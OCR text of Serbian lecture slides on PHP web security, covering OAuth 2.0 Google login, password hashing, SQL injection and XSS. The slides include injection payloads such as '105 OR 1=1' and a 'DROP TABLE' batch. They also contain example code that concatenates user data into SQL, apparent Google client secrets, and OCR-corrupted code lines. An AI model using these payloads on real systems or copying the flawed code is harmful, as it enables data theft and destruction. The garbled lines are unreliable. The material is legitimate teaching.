Visoka tehni¢ka skola Nis

Studijski program:
Savremene racunarske tehnologije

Napredne Web tehnologije - NWT
(13)

PHP 1| bezbednost Web
aplikacija

Prof. dr Zoran VeliCkovi¢, dipl. inz. el.

Maj, 2019.




Bezbednost na korisnika na Web-u

Q

Programeri Web aplikacija moraju voditi racuna o BEZBEDNOSTI
svojih korisnika i pruziti im UVERENJE da su stranice bezbedne.

Osnovni bezbednosni koncept koji se moze naéi na veéini Web stranica
je AUTENTIFIKACIJA KORISNIKA putem korisni¢kog imena i
lozinke.

Da bi se ovaj Jednos’ravan bezbednoshi koncept mogao primeniti i u
bezbedno-rizi¢nim Web aplikacijama, on mora posedovati SNAZAN
SISTEM KONTROLE PRISTUPA.

Sistemi za kontrolu pristupa su bazirani na pouzdanim algoritmima
koji regulisu PRISTUP PODACIMA ili nekim specifi¢nim
funkcionalnostima Web stranice.

Da bi se podigao nivo bezbednosti, ODOBRAVA SE PRISTUP
poverljivim podacima i bezbednosno-rizi¢nim funkcionalnostima Web
stranice samo korisnicima kojima je ta moguénost PREDVIDENA.



Autentifikacija korisnika u Web App (1)

0 Kod Web aplikacija, proces autentifikacije se odnosi na identifikaciju:
= KO JE KORISNIK, dok se ovlascenja odnose ha to da se odredi
= STA JE DOZVOLJENO korishiku.

0 ROLA (uloga) je jos jedan koncept koji se Cesto primenjuje prilikom
identifikovanja GRUPE KORISNIKA.

0 Umesto da se dodeljuju dozvole POTEDINACNIM KORISNICIMA,
dozvole se dodeljuju ROLAMA, tako da svi korisnici unutar ISTE
ROLE nasleduju takve dozvole.

a0 Dva najéeséa koncepta autentifikacije na Windows platformi su:
= WINDOWS AUTHENTICATION i
= FORMS AUTHENTICATION.




Autentifikacija korisnika u Web App (2)

Q

WINDOWS AUTHENTICATION se koristi u aplikacijama gde su svi
korisnicki nalozi uskladistene u Windovs Active Directory (AD).

Web aplikacije se oslanjaju na usluge IIS-a (engl. Internet

Infromation Services) koji POTVRDUJE AUTENTICNOST ZAHTEVA
- ako je zahtev validan, onda IIS prenosi zahtev na obradu.

Ovaj metod AUTENTIFIKACIJE je odlican za PROGRAMERE jer ne
moraju da se bave upravljanjem korisnicima, sve se upravlja preko AD
ADMINISTRATORA.

S druge strane, FORMS AUTHENTICATION je pogodna za aplikacije
koje su izloZzene Internetu u kojima se korisnici identifikuju
KORISNICKIM IMENOM i LOZINKOM.

Alternativno, korisnici mogu da se identifikuju koristeci PROTOKOL
QAuth za povezivanje i koristite njihove naloge (nalozi trece strane -
Facebook, Tvitter, Google, itd.).



Autentifikacija 1 autorizacija korisnika

Q

Standardni algoritam pristupne kontrole se zasniva na dve
bezbednosne komponente AUTENTIFIKACIJI i AUTORIZACIJI.

AUTENTIFIKACIJA je proces u kome treba da se pouzdano utvrdi da
je korisnik upravo taj kojim se predstavlja.

U praksi se ovaj postupak zasniva ha zahtevu da subjekt pruzi
odredene (unikatne) PODATKE po kojima Web aplikacija moze
utvrditi da je subjekt UPRAVO TAJ KOJIM SE PREDSTAVLJA.

Sa druge strane, AUTORIZACIJA je proces u kome se utvrduju
PRAVA PRISTUPA RESURSIMA za autentifikovanog korisnika.

Kod nekih bezbed-nosnih algoritama se moze implementirati
komponenta autentifikacija BEZ AUTORIZACIJE, ali ne i autorizacija
bez komponente autentifikacije.



Autentifikactja korisnika OWASP

0O Ako se za autentifikaciju koristi samo jedan parametar (akreditiv)
onda se ona naziva JEDNOPARAMETARSKA, odnosno, ako se koriste
dva ili vise akreditiva naziva se DVOSTRUKA ili
MULTIPARAMETARSKA autentikacija.

0 Sa korisni¢kog stanovista multiparametarska autentikacija je manje
pogodna jer zahteva paméenje VECE KOLICINE (pozeljno)
nesmislenih podataka.

0 Ako se fome doda da treba zapamtiti akreditive ZA SVE koriséene
Web aplikacije, to moze izazvati OZBILINE PROBLEME korisnicima
u koriséenju ove tehnologije.

0 Da bi se bezbednost podigla na visi nivo, OWASP (engl. Open Web
Application Security Project) je kreirao PREPORUKE za koriséenje
ove tehnologije.




Autentifikactja korisnika Oauth 2.0 (1)

0 Prednosti DVOSTRUKE AUTENTIFIKACIJE su niska cena i
jednostavna implementacija.

0 Nedostatak ovog koncepta je postizanje DOVOLINO SIGURNE
SEME za proveru korisnic¢kog imena i lozinke.

0 Prema ovom konceptu svaka Web aplikacija ima POSEBNU BAZU
PODATAKA u kojoj Cuva vazele korisni¢ ke akreditive.

0 Iz BEZBEDNOSNIH RAZLOGA korisnici koriste RAZLICITE
AKREDITIVE na razli¢itim Web stranicama.

0 Ideja da sve Web stranice koje koristi korisnik imaju samo JEDNU
BAZU PODATAKA i koriste isti akreditiv zvuci primamljivo.

0 Ova ideja je realizovana otvorenim QAuth protokolima u verziljama 1 i
2.0.




Autentifikacija korisnika Oauth 2.0 (2)

Q OAuth 2.0 je bezbednoshi komunikacioni protokol koji obezbeduje
razmenu informacij je izmedu DVA MREZNA ENTiteta (servisa) na
siguran i pouzdan nacin.

Q0 Za razmenu informacija izmedu dva mrezna entiteta koristi se TRAN-
SPORTNA USLUGA HTTP protokola.

Q OQAuth protokol je nasao primenu u sledecim situacijama:

- Kada je potrebno dozvoliti korisniku da se autentifikuje aplikaciji
DRUGIM - EKSTERNIM NALOGOM. Tako npr. moze se kreirati
Web stranica koja dozvoljava prijav-ljivanje nalozima kreiranim na
Twitter-u, Google+-u ili Facebook-u.

- Kada je potrebno omogucti pristup resursima JEDNO& SERVISA
DRUGOM SERVISU. Na primer, Google+ pristupa vasim objavama
u Research Gate-u u svoje ime.




Autentifikacija korisnika Oauth 2.0 (3)

KLUENTSKA FACEBOOK, GOOGLE+
[ KORISNIK } [APLIKACIJA] [ TWITTER, ... ]

1. Korisnik pristupa resursu
klijentskom aplikacijom

: >

i€ :

: 2. Klijentska aplikacija obezbeduje:

:  klijentski ID i lozinku za pristup

:preko Googla, Facebuka ili Twittera; 3. Korisnik pristupa klijentskoj aplikaciji
; : preko Googla, Facebuka ili Twittera

5

: 4. Korisnik se upucuje na novu Web lokaciju koristeti

: : URI i autentifikacioni kod

: 5. Korisnik pristupa Web stranici :
na dobijeni URI

6. Klijentska aplikacija salje autentifikacioni kod
klijentski ID i lozinku autentifikacionom serveru

€
: 7. Aplikacija za autentifikaciju vraca pristupni TOKEN

8. Korisnik pristupa resursu




Autentifikacija korisnika Oauth 2.0 (4)

O Definisana su TRI ENTITETA:

= korisnik,

- klijentska aplikacija i
- autentifikacioni server
a Primena OAuth 2.0 protokola se moze opisati u sledeéim koracima.

» Korak 1 - Korisnik pristupa resursima preko klijentske Web
aplikacije.

« Korak 2 - Klijentska aplikaciji poseduje klijentov ID i lozinku
klijenta koja je dobavljena tokom registracije.

- Korak 3 - Korisnik se prijavljuje koristeci aplikaciju za
potvrdivanje identiteta. Klijentski ID i lozinka su jedin-stveni na
serveru za autorizaciju.




Autentifikactja korisnika Oauth 2.0 (5)

Q

Korak 4 - Autentifikacioni server preusmerava korisnika na
odgovarajuéi URT (eng. Uniform Resource Identifier) koristeci
autorizacioni kod.

Korak 5 - Korisnik pristupa stranici koja se nalazi na pre-usmerenom
URI-u u klijentskoj aplikaciji.

Korak 6 - Klijentska aplikacijia salje ID i lozinku klijenta na server za
autorizaciju.

Korak 7 - Aplikacija za autorizaciju vraca Klijentskoj aplikaciji token
za pristup.

Korak 8 - Kada klijentska aplikacija dobije token za pri-stup, korisnik
zapoéinje pristup resursima vlasnika resur-sa koristeci aplikaciju
klijenta.



Oauth 1 Wamp

2 Wampu se mora omoguéiti da podrzi SSL.
0 Podrska WAMP-u se moze obaviti na razne nacine:
1. Iskopirati vel postojele sertifikate i staviti ih u funkciju, ili

2. Kreirati in-house sertifikat




Oauth 1 Wamp 1 kreiran sertifikat

I. Download sertifikat sa sajta

sa sledelim imenom: cacert.pem
1. Postavite sertifikat negde u Wamp 64, primer: ¢:\wamp64\
11I. Dozvoliti:
=  mod_ssli
» php_openssl.dll u php.ini (otkomentarisati ovu opciju).
1v. Dodati sledece iskaze u sertifikatu u sve php.ini fajlove:
« curl.cainfo="C:/wamp/cacert.pem"
« openssl.cafile="C:/wamp/cacert.pem"

v. Restartovti Wamp servise.



https://curl.haxx.se/docs/caextract.html

Php.ini

[openssl]

; The location of a Certificate Authority (CA) file on the local filesystem
to use when verifying the identity of SSL/TLS peers. Most users should
not specify a value for this directive as PHP will attempt to use the
0OS-managed cert stores 1In i1ts absence. ITf specified, this value may still
be overridden on a per-stream basis via the "cafile" SSL stream context

; option.

openssl.eafile=""C:/wamp64_NEW/cacert._pem"

IT openssl.cafile i1s not specified or if the CA file 1s not found, the
directory pointed to by openssl.capath 1s searched for a suitable
certificate. This value must be a correctly hashed certificate directory.
Most users should not specify a value for this directive as PHP will
attempt to use the 0S-managed cert stores in i1ts absence. ITf specified,
this value may still be overridden on a per-stream basis via the '"capath"
; SSL stream context option.

eurl.ecainfe="C:/wamp64 NEW/cacert.pem"

Ponekad ima vise php.ini fajlova (iz Wamp konzole i u PHP folderu
Wampa) - sve izmene u svim fajlovima




OAuth2.0 i Google+/Facebook

Q

Q

U nastavku Ce biti prikazana realizacija OAuth 2.0 protokola u PHP-u.

Na bazi API-a koji je Google+ /Facebook stavio na rasplaganje,
kompanija CodexWorld je napravila programski kod za autentifikaciju
korisenjem Oauth protokola.

PHP SDK omogucava pristup Google+/Facebook API-juiz Web
aplikacije.

Da bi se pristupilo Google+/Facebook API-ju, potrebno je da se
napravi Google+/Facebook aplikacija i dostavi clientID/App ID & App
Secret u vreme pozivanja Google+/Facebook API-ja.

Za razvoj ove Web App je koriséen PHPStorm u koji je ucitan
odgovarajuéi PHP SDK.

Prikazan kod odgovara Google+ API-ju.



PHPStorm: gpConfig.php

@ OAuth 2018 [E\wamp64 NEW\www\OAuth 2018] - ..\gpConfig.php [OAuth 2018] - PhpStorm - a
File Edit View Navigate Code Refactor Run Tools VCS Window Help
[ 0Auth 2018 ) i,., gpConfig.php ~ 23 Q
Project ~ L] - I+ 2 gpConfig.php .User.php x| indexphp > ) logoutphp *
) T ohp php php

v [0 OAuth 2018 Fiwamp64 NEW www\OAL <2php

W on e

. session start(); ‘ .
> [images 6'00\)
v [ src 2 //Tnelude Google clisnt library

> I auth 5 include once 'src/Google Client.php';

6 include once 'src/contrib/Google Oauth2Service.php';
> [ cache 7
> [ contrib e /*
X a * Configuration and setup Google API

> [0 external . o

> Do 11 SclientId = '720939050173-c203t Thhou26hemkaBotrtck2edsiiod. apps. googleusercontent.com'; //Google clicnt ID JA

> B service J/SelientId = '577698385672-udnadr23kec755t10kpdnesi548aviir. apps. googleusercontent. com”; //Google client ID

4 )
ml, config.php SclientSecret = 'L7EQrpzcaDBspMgcfPppnGiw'; //

al H 4 lientSecret = 'Fe9XLxZ745ER5vONmXMBlO0V ' ; / /i
o Google_Client.php R e x n5v ov': /f
. ) 27
£ Codexworld-License.txt SredirectURL = 'http://localhost/OAuth 2018'; //Callback URL JA
'Sgll db users.sql //$redirectURL = "http://localhost/login with google using php/'; //Callback URL
frfcall

i‘,.l, gpConfig.php

- $gClient = new Google Client();
o index.php

$gClient->setApplicationName( applicationName: 'login with google using php');

1 1ogoutphp 22 $gClient->sstClisntId (SclientTd) ;|
’f" i 23 SgClient->setClientSecret ($clientSecret);
Iﬂ ReadMe.bxt 24 SgClient->setRedirectUri(SredirectURL) ;
'€ User.php 25
L 26 $google_oauthV2 = new Google_Oauth28ervice ($gClient);
~v Il External Libraries - -~
> i PHP Runtime 28

> E—‘ Scratches and Consoles

(=]

22:34 CRLF: UTF-8% & Q




PHPStorm: User.php

@ OAuth_2018 [EAwamp64_NEW\Www\OAuth_2018] - ..\User.php [OAuth_2018] - PhpStarm - 0 “
File Edit View Navigate Code Refactor Run Tools VCS Window Help

Ty 2
c . v
[ 0Auth 2018 ) (€ Userphp ) [0Auth_2018] EAwamp64_NEW\www\OAuth_2018\indexphp | ) Q
p =
B Project ~ D = |- I ;,.,ngonfig.php » | |€ User.php \f,.,index.php X ;-,., logout.php
v Bl 0Auth_2018 E\wamp6ed NEW\www\OAL * <2php
i 2 class User |
> images 3 private $dbHost = wlocalhost";
v L src 2 private §$dbUsername = "root';
> auth s private §$dbPassword = "";
& private §dbName = "vts oauth";
> cache 7 _ private $userTbl = 'users’;
> contrib : =
3 function 7:0n5tru:t.(]{|
> external 10 if(lisset(Sthis—>db)){
> io 11 // Connect to the database
> service 12 $conn = new mysqli($this->dbHost, Sthis->dbUsername, Sthis->dbPassword, Sthis—>dbName);
‘ 13 if (Sconn->connect error) {
e config.php 14 die("Failed to connect with MySQL: " . $conn->connect error);
) . 15 1se|
» Google_Client.ph - s
oho 9 i php 16 $this->db = $conn;
= CodexWorld-License.txt a5 1
sar db_users.sql 18 }
1) . 19 }
whe gpConfig.php .
im
oo index.php 21 function checkUser($userData = array()){
;u logout.php 22 if(‘.e.mpf:y(SquzrData)){ 7
23 //Check whi user data already exists in database
= ReadMe.txt 24 $prevQuery = "SELECT * FROM ".$this->userTbl." WHERE ocauth_provider = '".$userData['oauth provider']."' AND cauth uid = '".$userData['cauth uid']."!
. User.php 25 $prevResult = $this->db->query($prevQuery) ;
| . ) 26 if ($prevResult->num rows > 0){
v il External Libraries 27 //Update user data if already exists
> e PHP Runtime 2 $query = "UPDATE ".$this->userTbl." SET first name = '".SuserData['first name']."', last name = '".SuserData['last _name']."', email = '".SusexrDe
" Supdate = $this->db-3x 8§ 8
> Scratches and Consoles sEeaEs 4 query ($query)
Jelse{
//Insert user data
$query = "INSERT INTO ".$this->userTbl." SET oauth provider = '".SuserData['cauth provider']."', oauth uid = '".$userDatal'oauth uid']."', first
Sinsert = $this->db->query($query);
1
//Get user data from the database
Sresult = $this->db->query(SprevQusry);
SuserData = $result->fetch_assoc();
H
S /Beturn near Aata
User ' __construct()

9:28 CRLF* UTF-8% & Q




PHPStorm: Index.php (1)

a OAuth_2018 [EAwamp64_NEWAWWWAOAuth_2018] - ..\index.php [OAuth_2018] - PhpStorm - B8 n

File Edit View Navigate Code Refactor Run Tools VCS Window Help

. an -
[ oAuth_2018 ) m‘: index.php ) v 29
p ) N . 4
B Project ¥ D = &1 ,,J‘, gpConfig.php * ‘ (€ User.php | sindexphp “Jn logout.php x
v Bl OAuth_2018 Ejwampbd_NEWA\wWww\OAL * b4
. 2 file && User class
> [Wimages 3 include once 'gpConfig.php';
v src 1 include once 'User.php';
> | auth N L
& if(isset($_GET['code'])){
> cache 7 $gClient->authenticate (§_GET['code']);
> contrib g $_SESSION['token'] = $gClient->getAccessToken();
9 header( siring: 'Location: ' . filter var(SredirectURL, fiter FILTER SANITIZE URL));
> I external o0 )
> io 11
> . 12 if (isset($_SESSION['token'])) {
= | service 13 $gClient->setAccessToken ($_SESSION['token']);
s config.php 14 }
r ' 15
Google_Client.ph| -
oho gle- . php 16 if (SgClient->getBAccessToken()) {
= CodexWorld-License.txt 17 //Get user profile data from google

=1 db USETS.Sq| $gpUserProfile = $google_ocauthvV2->userinfo->get();

iu gpConfig.php

2 20 //Initialize User class
pho index.php 21 Suser = new User();
4 22
phe logaut.php 23 //Insert to the database
= ReadMe.txt 24 SgpUserData = array(
. User.php 25 'oauth provider'=> 'google',
L 28 'oauth uid' => SgpUserProfile['id'],
v Il External Libraries 5 ‘first name® => $gpUserProfile['given name'l,
> ohe PHP Runtime 28 'last name' => SgpUserProfile['family name'],
> m Scratches and Consoles 23 Temail" => SgpUserProfile['email’],
30 'gender' => S$gpUserProfile['gender'],
31 'locale’ =» SgpUserProfile['locale’'],
32 'picture’ => S$gpUserProfile['picture’],
33 'link"' =» SgpUserProfile['link']
B e
35 SuserData = $Suser->checkUser (SgpUserData);
36
37 //Storing user data into session

$ SESSION['userData'] = $userData;

//Render faceboock profile data
1

a1 ifllamntv (SusarNata

71:3 CRLF: UTF-8% % Q




PHPStorm: Index.php (2)

=}

OAuth_2018 [EAwamp64_NEW\www\OAuth_2018] - ..\index.php [OAuth_2018] - PhpStorm

Eile Edit View Navigate Code Refactor
[ 0Auth_2018 ) 5y indexphp )
B Project ~ D =

v OAuth_2018 E\wampbd NEW\wwe\OAL

> images

v src

lauth

! cache

| contrib
| external

io

VvV V V V VvV VvV

service
;u config.php
;u Google_Client.php
= CodexWorld-License.txt
sap db_users.sql
D:D gpConfig.php
D:D index.php
;., logout.php
; ReadMe.txt
. User.php
v |Illl External Libraries
> o PHP Runtime
> B scratches and Consoles

Run Tools VCS Window Help

i,.n gpConfig.php * ‘ .User.php X D,‘u index.php ﬁ,.‘, logout.php >

@

//Storing user data into session

$_SESSION['userData’'] = $userData;

if (!empty (SuserData)) {
'<hl>Google+ Profile Details </hl>';

$output

Soutput .=

$output
$output
Soutput
$output
$output
$output
$output
$output
lelse{
$output
1

} else {

'<img src="'_$userData['picture'].'" width="300" height="220">';
'<br/>Google ID : ' . SuserDatal'oauth uid'l;

'<br/>Name : ' . $userData['first name'].' '.$userData['last name'];
'<br/>Email : ' . SuserData['email’];

'<br/>Gender : ' . SuserDatal['gender'l;

'<br/>Locale : ' . SuserDatal['locale'l;

'<br/>Logged in with : Google';

'<br/><a href="'.$userData['link'].'" target=" blank">Click to Visit Google+ Page</a>';
= '<br/>Logout from <a href="logout.php">Google</a>";

"<h3 style="color:red">Some problem occurred, please try again.</h3>';

SauthUrl = $gClient->createduthUrl ();

Soutput = '<a href="' .filt&r_var(SnauthUrl,

1

2>
<html>
<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login with Google using PHP by CodexWorld</title>

<style type="text/css">
hl{font-family:Arial, Helvetica, sans-serif;color:#999393;}

</style>
</head>
<body>

<div><?php echo Scutput; ?></div>

</body>
</html>

filter: FTLTER SANITIZE URL) .'"><img src="images/glegin.png" alt=""/></a>";

71:8 CRLF$ UTF-8% & Q



PHPStorm: logout.php

@ OAuth 2018 [E\wamp64 NEWAwww\OAuth 2018] - ..\logoutphp [QAuth 2018] - PhpStorm - O IEE

File Edit View Navigate Code Refactor Run Tools VCS Window Help

[ OAuth 2018 ) 5, logoutphp ) _ v 2n Q
B Project ~ [N - 2 ﬂ,.‘,ngonfig.php X | (© Userphp > ﬁ,.‘,index.php X f# logout.php
v [0 0Auth 2018 Fhwamp6sd NEW\wwu\OAL ~
. 2 //Includs GP config file N P
> [images E] include once 'gpConfig.php'; €eno
v e 1
> uauth 5 //Unset token and user data from sessicn
) 3 unset ($_SESSION['token']);
> W cache 7 unset ($_SESSION['userData']);
> [ contrib -
_ 9 //Reset OAuth access token
> [ external 10 $gClisnt—>revoksToken () 7
> Mo 11
> I service L /'/"Des‘:roy entire session
. 13 session destroy();
one cONfig.php 14
F | G . 15 //Redirect to homepage
onp Google_Client.php
§ 18 hegder( StNQ: "Location:index.php") ;
= CodexWorld-License.txt 17 o

S%IL db_users.sql
;,u., gpConfig.php
;,u., index.php
;,u., logout.php
= ReadMe.txt
® User.php
v |Illl External Libraries
> e PHP Runtime
> E—‘ Scratches and Consoles

[ redundant dosing tag 17:3 CRLF¢ UTF-8: & &




Oauth/video tutorial
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Oauth/video tutorial

G Mpujaenuearee — Google 1o X ==

< C ( & https://accounts.google.com/signin/oauth/oauthchooseaccount... B  ¥r 8

G MpujaBute ce nomohy Google-a

N3abepute Hanor

na 6ucte HacTaBunuM Ha OAuth-2018-VTS

Zoran Veliékovié
zoran.velickovic.zorvel@gmail.com

e e velickovié
@I@gmail.com

© Kopuctute apyrv Hanor

[a 6ucTe HacTaBunm, Google he genuTti ume, nmejn
agpecy v cnvky npoduna ca annukayujom OAuth-2018-
VTS. MoxeTe fa npernegare NoNMTUKY NPUBaTHOCTA U
ycnoge kopuwhetba yenyre annukauymje OAuth-2018-VTS
Npe Hero LTO NOYHETE J1a je KOPUCTHTE.

CPACKKW ¥ MNomoh MNpusaTHoCT Ycnosu




Oauth/video tutorial

@ Login with Google using P x = 4

1 ¢ C 00 @ localhost/OAuth_2018/ e N NN-BE X

Googlet Profile Details

Google [D: 50075275

Ime: Zoran Veli¢kovié

Email: zorzm.velick@

Pol: male
Jezik: st

Logovano putem: Google

Click to Visit Googlet Page
Logout from Google

https://www.codexworld.com/login-with-facebook-using-php/




Bezbednost podataka

Q PODACI su najvazniji resurs bilo koje delatnosti.

0 Znacaj podataka potice od POSLEDICA koje mogu nastati u slicaju da
su podaci izmenjeni, korumpirani, obrisani ili ¢ak ukradeni.

0 Aplikacije zapravo rade sa podacima (otuda su one potencijalni izvor
problema) i obavljaju SAMO CETIRI OPERACIJE nad njima -
kreiranje, ¢itanje, modifikovanje i brisanje.

0 Ove operacije se identifikuju engleskom skraéenicom CRUD:

» Create

* Read https://www.testbytes.net/blog/open
» Update -source-security-testing-tools/

= Delete

0 Za bezbednost Weba su od sustinskog znacaja MEDUSOBNE VEZE
uspostavljene izmedu Web aplikacije, podataka i CRUD-a.




Bezbednosne pretnje na Webu

0 Karakteristicne bezbednostne pretnje koje su vezane za Web su
(engl):

Buffer overflow,

Code injection,

Cross-site scripting (XSS),

Missing or incorrect encryption,
Operating system command injection,
Parameter manipulation,

Remote code inclusion,

Session hijacking,

SQL injection,
File uploads,
Hardcoded authentication,

Hidden or restricted
file/directory discovery,

Missing or incorrect
authentication.



Bufter overtlow, Code injection

Napadac¢ salje dovoljnu koli¢inu podataka u ulazni baferu da bi
PREPUNIO BAFER APLIKACIJE ili izlazni bafer.

Kao posledica prepunjavanja bafera, memorija izvan bafera postaje
KORUMPIRANA i izvrsni kod koji se nalazi u njoj vise NLJE
UPOTREBLJIV.

Najbolji nacin za prevazilazenje ovog problema je PROVERA OPSEGA
i VELICINE PODATAKA na ulazu, odnosno, izlazu iz aplikacije.

Kada napada¢ dodaje kod u tok podataka izmedu klijenta i servera.

Cil ovog napada je da se dodati kod tretira KAO DEQO ORIGINALNE
STRANICE iako moze da sadrzi zlonamerni kod koji ¢e izazvati
probleme u radu aplikacije.

PrevazilaZenje ovog napada se obezbeduje koriscemnjem Sifrovanih
tokova podataka, HTTPS protokola i verifikacijom koda.



PHP i1 bezbednost Web-a

Q

PHP je programski jezik koji pruza niz pogodnosti ZA POBOLTSANJE
BEZBEDNOSTI Web stranice.

Kroz prakti¢ne primere biée prikazan programski kod za OCUVANJE
BEZBEDNOSTI Web aplikacija.

SVAKA WEB APLIKACIJA koja prikuplja podatke od korisnika je
RANJIVA na automatizovani napad.

Cak i Web stranice koje pasivno prenose informacije do korisnika su
jednako ranjive.

Web aplikacije omogucavaju korisnicima da UNOSE INFORMACIJE
koje se mogu Cuvati i kasnije koristiti Sto potencijalnuo predstavlja
BEZBEDNSNI PROBLEM.

VALIDACIJA UNETIH PODATAKA je najznacajniji aspekt
bezbednosti Web aplikacije.



Pogresni tipovi podataka

Q NajEeééa vrsta napada ukljucuje POGRESNE TIPOVE PODATAKA ili
POGRESNU VELICINU PODATAKA koji mogu sadrzavati
SPECIJALNE KARAKTERE kao sto su:

= "escape sekvence" ili

= binarni kod.

0 Pored toga $to se nekorektni podaci UNOSE u baze podataka,

neispravan format moze prouzrokovati BRESANJE PODATAKA iz
baze.

0 Koristenje NEKOREKTNIH PODATAKA u drugim skriptovima moze
izazvati NEOCEKIVANQO PONASANJE Web aplikacije.

0 Ovakvo ponadanje Web aplikacije mogu ZLOUPOTREBITI NAPADACT
| onesposobiti sistem.




Metakarakteri

O Ako se metakarkteri:

1$ & (O)~[INI{} "re>2-7

pojave U INPUT POLJIMA, a koriste se nekerektno mogu izazvati
RAZLICITE PROBLEME.

0 Kod formiranju upita DBMS-u karakteri ' * ; \ imaju SPECIFICNO
ZNACENJE, tako da njihovo nepravilno korisenje moze izazvati
bezbednosne probleme.

0 U zavisnosti od toga kako je upit strukturiran, ovi karakteri se mogu
koristiti za INSERTOVANJE DODATNIH SQL UPITA i eventualno
izvrsiti dodatne - bezbednosno kriti¢ne upite.

0 Karakteri UNICOD-a kao i neprintajuéi ASCII karakteri takode mogu
izazvati bezbedonosne probleme ako se nadu u upitima DBMS-u.




Pogresan ulazni tip podataka

0 Pogresan TIP I/ILI FORMAT podataka u ULAZNIM POLIIMA
rezultira neadekvatnom vrednoséu pa kao takav moze izazvati
nepozeljne efekte u Web aplikacijama.

0 Ulazne vrednosti koje su PREVELIKE mogu izazvati PREKORACENJE
ULAZNOG BAFERA i ponovo izazvati nepozeljno ponasanje Web
aplikacije:

= ako nije ograni¢ena veli¢ina teksta/fajla koji se Salje;
= ako nhisu ograni¢ene duzine polja za rad sa bazom podataka.

o SKRIVENE INTERFEJSE, kao sto je recimo administrativni
interfejs, napada¢ moze iskoristiti za maliciozni napad.

0 Napada&i mogu ubacivati NEZELTENE KOMANDE u SQL UPITE.




Turning Off globalnih promenljivih (1)

0 Postavljanje register_globals direktive na OFF/ON u php.ini fajlu da
bi se testirao NACIN SLANJA podataka iz obrazaca.

<?php

// set admin flag OPASNOST !

: , , register_globals = ON

if ( $auth->isAdmin() X

$admin = TRUE;

) Moze se reqgularno dodati na URL:
/7. ? Admin =1

if ($admin ) {

// do administrative tasks

2>




Turning Off globalnih promenljivih (2)

0 Sigurnija vezija je data u nastavku.

Dodata je podrazumevana

<?php vrednost
// create then set admin flag $admin = FALSE
$admin = FALSE;
i ( $auth->isAdmin() X Od vezije 4.2.0 registar_globals= OFF je

podrazumevana vrednost

$admin = TRUE;

On
Off

if ($admin){
// do administrative tasks

}

?>

on

auto_globals_jit E

On
on




Cuvanje lozinki (1)
0 Na vezbama je pokazano kako se moze kreirati BAZA PODATAKA sa
korisni¢kim imenima i lizinkama.

0 Korisni¢ka imena i lozinke zapamcene su u IZVORNOM OBLIKU -
OBICAN TEKST sto moze biti predmet napada zlonamernih korisnika.

0 Zbog bezbednosti dobro je umesto obi¢nog teksta uvati HES
VREDNOSTT lozinki.

0 Kasnije se u verifikaciji korisnika porede samo HES VREDNOSTI
lozinki.

0 PHP ima ugradene jednosmerne funkcije za IZRACUNAVANJE HES
VREDNOSTT, primer: md5(), shal(), sha256() ili crypt().

0 U novijim verzijama PHP > 5.5 kreirane su funkcije password_hash() i
password_verify().




Cuvanje lozinki (2)

0 Dobra osobina ovih algoritama je sto na unetu lozinku dodaju tzv.
"ZRNO SOLI" - nasumi¢no generisani podatak koji se DODAJE
LOZINKI pre hesiranja (engl. salted password hashing).

Dodavanje "zrna soli" -
nasumicno generisani podatak

Ista lozinke daju razlicite hes
vrednosti

a TIzvorni oblik lozinke vise NIJE POZNAT, treba znati samo HES
VREDNOST LOZINKE.




SQL injection (1)

2 SQL INJECTION je tehnika insertovanja JS-a, MSQL-a (ili nekih
drugih) kodova koji moze unistiti bazu podataka.

0 Zlonamerni kod se postavlja u SQL upite posredstvom
KORISNICKOG UNOSA sa Web stranice.

0 SQL injection je jedna od najéescih TEHNIKA HAKOVANJA Weba.

0 Najceséa manifestacija ove tehnike je kada se od korisnika trazi
UNOS PODATAKA (input polje u obrascima) kao sto su
korisnic¢ko_ime/lozinka, a korisnik umesto trazenih podataka unosi
SQL izraze koji Ce se zlonamerno izvrsiti.

0 PRIMER:
txtUserlId = getRequestString("UserId"); J
txtSQL = "SELECT * FROM Users WHERE UserId =" + txtUserId;

Dodavanje promenljive
(txtUserId) za selekciju stringa




SQL injection (2)

Q

Zlonamerni korisnik moze da unese "pogresan" unos, nesto slicno kao
g

Userld:

105 0R 1=1

Pogledajte kako sada izgleda SQL upit:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

Dobijeni SQL je vaZeci i vratice SVE REDOVE iz tabele "Users", jer

je OR1 = 1 uvek TRUE!

Da li gore navedeni primer izgleda opasno? Sta ako tabela "Korishici"

sadrzi imena i lozinke?

Haker moZe izlistati SVA KORISNICKA IMENA I LOZINKE iz u
baze podataka, jednostavnim ubacivanjem 105 ili1=1U POLJE ZA

UNOS!




SQL injection (3)

0 Jo3 jedan od nadina narusavanja bezbednosti je POGRESAN
korisni¢ki unos:

User Name:

" Or III'I=II

Password:

" Or III'I=II

0 Kod na serveru kreirace sledeéi vazeci SQL izraz:
SELECT * FROM Users WHERE Name ="" or "="" AND Pass ="" or ""="

0 SQL upit je VAZECT i vratice sve redove iz tabele " Users", jer je OR
"= " yvek TRUE!

https://www.youtube.com/watch?v=ciNHN38EyRc




,,Batched* SQL injection

0 Vecina baza podataka podrzava i "batched" SQL izraze, kada se niz
SQL iskaza nadovezuju, a delimiter je tacka-zapeta (;).

0 Sledeci SQL je VAZECT i vratiée sve redove iz tabele "Users", a
zatim izbrisati tabelu "Suppliers".

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserld;

O Sta ée se desiti ako korisnik unese sledeéi iskaz:

User id: |105; DROP TABLE Suppliers

0 Rezultujuéi SQL izraz je vazedi:

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;




Resenjel!

0 Za zastitu Web aplikacije od insertovanja zlonamernih SQL upita
mogu se koristiti SQL PARAMETRI.

2 SQL PARAMETRI su VREDNOSTI KOJE SE DODAJV SQL UPITV
u vreme izvrsenja na kontrolisan nacin.

0 SQL endZzin PROVERAVA SVAKI PARAMETAR kako bi se ustanovilo
da je ispravan i tretira se POSEBNO, a NE KAO DEO SQL-A UPITA
koji se izvrsava:
$stmt = $dbh->prepare("INSERT INTO Customers (CustomerName, Address, City)

VALUES (:inam, :add, :cit)");
$stmt->bindParam(‘:nam’, $txtNam);
$stmt->bindParam(':add’, $txtAdd);
$stmt->bindParam(':cit’, $txtCit);

$stmt->execute();




Cross-Site Scripting

Q

Kod ..Cross-Site Scripting”-a se za razliku od insertovanje SQL-a
koda, insertuje zlonamerni HTML ili JavaScript kod.

Ovaj zlonamerni kod pokusava da zadobije poverenje korisnika na Web
stranici, prevarom (korisnika ili njegovog pretrazivaca) tako Sto Salje
podatke nekoj drugoj - nebezbednoj Web lokaciji.

